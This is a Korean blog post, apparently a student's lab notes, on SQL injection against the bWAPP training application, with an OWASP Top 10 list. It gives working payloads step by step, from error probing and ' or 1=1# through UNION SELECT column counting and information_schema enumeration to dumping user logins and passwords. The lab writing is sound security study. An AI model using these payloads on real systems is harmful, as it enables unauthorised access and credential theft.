본문 바로가기

Web

[bWAPP] SQL Injection (GET/Search)

OWASP(The Open Web Application Security Project)

오픈소스 웹 어플리케이션 보안 프로젝트. 주로 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 10대 웹 어플리케이션의 취약점(OWASP TOP 10)을 발표함.

 

OWASP TOP 10은 웹 어플리케이션 취약점 중에서 빈도가 많이 발생하고, 보안상 영향을 크게 줄 수 있는 것들 10가지를 선정하여 2004년, 2007년, 2010년, 2013년, 2017년을 기준으로 발표되었고, 문서가 공개되었음.

 

OWASP TOP 10 (2017)

1. Injection 주입

2. Broken Authentication 취약한 인증

3. Sensitive Data Exposure 민감한 데이터 노출

4. XML External Entities (XXE) XML 외부 개체

5. Broken Access Control 취약한 접근 통제

6. Security Misconfigurations 잘못된 보안 구성

7. Cross-Site scripting (XSS)

8. Insecure Deserialization 안전하지 않은 역직렬화

9. Using Components with Known Vulnerabilities 알려진 취약점이 있는 구성요소 사용

10. Insufficient Logging & Monitoring 불충분한 로깅 및 모니터링

 

bWAPP

웹 취약점을 공격할 수 있는 오픈소스 웹 어플리케이션

 

 

' 를 입력하여 SQL Injection 취약점 유무 확인

→ SQL 오류 메시지를 출력하므로 SQL Injection 취약점이 존재함

→ 데이터베이스에서 ' 로 문자 데이터를 구분

→ 데이터베이스 서버가 MySQL 임을 알 수 있음

 

 

' or 1=1# 입력

→ 전체 영화 목록이 나옴

→ 주석 문자가 # 임을 알 수 있음

 

 

UNION

2개 이상의 SELECT 문에 대한 결과를 하나의 테이블로 보여줌

이전 쿼리에서 사용하는 SELECT 문의 컬럼 수가 일치해야 함

UNION (DISTINCT) 은 중복된 로우 제거, UNION ALL 은 중복을 제거하지 않음

 

 

' UNION SELECT ALL 1# 입력

→ 칼럼 정보를 확인하기 위함

→ 칼럼 수가 일치하지 않는다는 오류 메시지

→ 칼럼 수를 하나씩 늘려 결과가 참이 되는지 확인해야함

 

 

' UNION SELECT ALL 1,2,3,4,5,6,7# 입력

→ 칼럼 개수와 번호 확인

→ 각각 2, 3, 5, 4번에 위치한 칼럼임을 알 수 있음

→ 쿼리 결과가 보이는 2, 3, 5, 4번 칼럼 중 하나에 시스템 변수 및 함수를 넣어주면 됨

 

 

' union select 1,database(),user(),system_user(),@@version,6,7# 입력

시스템 변수 및 함수 설명
database() DB 이름
user() 사용자 아이디
system_user() 관리자 권한 사용자 아이디
@@version SQL(DB) 서버의 버전
@@datadir SQL(DB) 서버가 존재하는 디렉토리

 

 

information_schema

데이터에 대한 데이터 또는 어떤 목적을 가지고 만들어진 데이터 사전

DB에 속한 데이터들의 정보를 저장한 것으로, System Catalog 라고 함

읽기 전용으로 동작, DB 테이블과 같은 데이터로 동적으로 생성되기 때문에 수정/쓰기가 불가능

 

 

' union select all 1,table_name,3,4,5,6,7 from information_schema.tables# 입력

→ information_schema 데이터베이스의 테이블 이름 확인

→ 출력된 테이블 이름들 중 users 에 사용자의 계정 정보가 존재한다고 추측 가능

→ table_name: 모든 테이블의 이름 값을 가진 필드(칼럼)

→ information_schema.tables: 테이블과 관련된 정보를 가진 테이블

 

 

' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'# 입력

→ information_schema 데이터베이스의 users 테이블의 칼럼 이름 확인

→ id, login, password, email 등의 정보가 있음을 알 수 있음

→ column_name: 모든 칼럼(필드)의 이름 값을 가진 필드(칼럼)

→ information_schema.columns: 칼럼과 관련된 정보를 가진 테이블

 

 

' union select all 1,concat(id,login),password,email,secret,6,7 from users# 입력

→ bWAPP 데이터베이스의 users 테이블 내용 확인

→ concat(): 문자열을 합치는 함수

 

 

페이지 소스보기로 id / password / e-mail 정보 확인

 

 

참고

https://securitycode.tistory.com/127

https://net123.tistory.com/450?category=695510

'Web' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 5 (CSRF)  (0) 2022.02.07
[Dreamhack] xss-2  (0) 2022.02.06
[Dreamhack] Web Hacking STAGE 4 (XSS)  (0) 2022.01.30
[Dreamhack] Web Hacking STAGE 3  (0) 2022.01.23
[Dreamhack] Web Hacking STAGE 2  (0) 2022.01.15